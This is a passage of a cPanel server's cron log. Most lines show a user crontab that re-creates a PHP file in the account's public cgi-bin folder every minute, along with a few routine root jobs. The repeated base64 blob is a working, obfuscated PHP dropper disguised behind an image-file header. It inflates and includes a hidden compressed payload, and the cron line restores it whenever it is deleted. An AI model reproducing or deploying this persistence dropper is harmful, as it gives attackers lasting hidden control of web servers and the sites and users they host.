KSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:00:02 server CROND[32683]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 07:00:02 server CROND[32685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:00:02 server CROND[32684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:00:02 server CROND[32687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:01:01 server CROND[335]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 07:01:01 server CROND[336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:01:01 server run-parts(/etc/cron.hourly)[335]: starting 0anacron
Apr 11 07:01:01 server run-parts(/etc/cron.hourly)[348]: finished 0anacron
Apr 11 07:02:01 server CROND[406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:03:01 server CROND[463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:04:01 server CROND[617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:05:01 server CROND[666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:05:01 server CROND[665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:05:01 server CROND[671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:05:01 server CROND[672]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 07:06:01 server CROND[771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:07:01 server CROND[818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:08:01 server CROND[862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:09:01 server CROND[904]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 07:09:01 server CROND[903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:10:01 server CROND[1055]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 07:10:01 server CROND[1056]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 07:10:01 server CROND[1057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:10:01 server CROND[1058]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 07:11:01 server CROND[1164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 07:12:01 server CROND[1231]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 07:12:01 server CROND[1232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
